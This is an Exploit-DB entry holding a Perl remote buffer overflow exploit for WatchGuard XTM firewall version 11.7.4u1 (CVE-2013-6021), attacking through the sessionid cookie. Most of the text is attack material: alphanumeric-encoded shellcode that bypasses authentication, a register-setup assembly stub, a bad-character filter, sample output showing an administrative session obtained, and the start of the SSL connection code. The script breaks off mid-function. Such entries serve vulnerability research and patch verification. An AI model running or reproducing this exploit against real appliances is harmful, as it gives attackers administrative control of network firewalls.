Exploit-DB #29273
Description: Watchguard Firewall XTM 11.7.4u1 - Remote Buffer Overflow
Type: remote
Platform: hardware
Date: 2013-10-29
Author: st3n

Exploit:
#!/usr/bin/perl -w
# Exploit Title: WatchGuard Firewall XTM version 11.7.4u1 - Remote buffer overflow exploit ~ sessionid cookie
# Date: Oct 18 2013
# Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
# Vendor Homepage: http://www.watchguard.com
# Version: <= 11.7.4u1
# Tested on: XTMv
# CVE : CVE-2013-6021

=header
*********************************************************************
**  WatchGuard Firewall XTM version 11.7.4u1                       **
**  Remote buffer overflow exploit ~ sessionid cookie              **
*********************************************************************
**                                                                 **
**            Author:  jerome.nokin@gmail.com                      **
**              Blog:  http://funoverip.net                        **
**               CVE:  CVE-2013-6021                               **
**                                                                 **
*********************************************************************
**                                                                 **
**  - Bug, exploit & shellcode details available on:               **
**    http://funoverip.net/?p=1519                                 **
**                                                                 **
**  - Decoded shellocde can be found at the end of this file       **
**                                                                 **
*********************************************************************
=cut


=output sample

[*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong'
[*] Checking sessionid cookie for bad chars
[*] Checking shellcode for bad chars
[*] Heap messaging (request 1) : ...
[*] Sending authentication bypass shellcode (request 2)
[*] HTTP Response : 

--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-type: text/xml
Set-Cookie: sessionid=6B8B4567327B23C6643C[PII_REDACTED][PII_REDACTED]
Date: Sun, 27 Oct 2013 21:11:38 GMT
Server: none
Content-Length: 751

<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
          <member><name>sid</name><value>6B8B4567327B23C6643C[PII_REDACTED][PII_REDACTED]</value></member>
          <member><name>response</name><value></value></member>
          <member>
            <name>readwrite</name>
            <value><struct>
              <member><name>privilege</name><value>2</value></member>
              <member><name>peer_sid</name><value>0</value></member>
              <member><name>peer_name</name><value>error</value></member>
              <member><name>peer_ip</name><value>0.0.0.0</value></member>
            </struct></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodResponse>
--------------------------------------------------------------------------------

[*] Over.
=cut

use warnings;
use strict;
use IO::Socket::SSL;

# host and port of the XTM web console
my $host = "192.168.60.200";
my $port = "8080";

# Shellcode (watch out bad chars)
my $shellcode = 
	# shellcode: bypass password verification and return a session cookie
	"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" .
	"KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" .
	"eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" .
	"9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" .
	"RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" .
	"sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" .
	"ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" .
	"benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" .
	"LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A";

# Shellocde max length
my $shellcode_max_len = 2000;


# set our shellcode address into EAX (expected by alpha2 encoder)
my $alpha2_ecx24 =
        "\x8b\x41\x24" .        # mov    eax, [ecx+0x24]
        "\x29\xd0" .            # sub    eax, edx ; (edx is updated by nopsled)
        "\x83\xc0\x40" .        # add    eax, 0x40
        "\x83\xe8\x35";		# sub    eax, 0x35
        # for the reader, "add eax, edx" contains bad chars. 
	# This is the reason why the nopsled decrement EDX and that we use "dec eax, edx"


# flush after every write
$| = 1;

# HTTP POST data for authentication request
my $login_post_data =
"<methodCall><methodName>login</methodName><params><param><value><struct><member>" .
"<name>password</name><value><string>foo</string></value></member><member>" .
"<name>user</name><value><string>admin</string></value></member></struct></value>" .
"</param></params></methodCall>";

# list of bad characters
my @badchars = (
	"\x00",
        "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a",
        "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
        "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c",
        "\x1d", "\x1e", "\x1f",
        "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters
);


# function: Check input for badchars.
sub check_badchars {
	my $in = shift;
	my $stop = 0;
	for(my $i=0; $i<length($in); $i++){
		my $c = substr($in,$i,1);
		if($c ~~ @badchars){
			printf " - bad char '0x%02x' found\n", ord($c);
			$stop = 1;
		}
	}
	if($stop){ exit; }
}

# function: testing remote connectivity with the appliance
# send HTTP "ping" request and expect "pong" reply
sub testing_connectivity {

	print "[*] Sending HTTP ping request to https://$host:$port : ";
        my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";

        if($sock){
		my $req = 
			"GET /ping HTTP/1.0\r\n" .
			"Host:$host:$port"  . "\r\n" .
			"\r\n";		

		# send ping
		print $sock $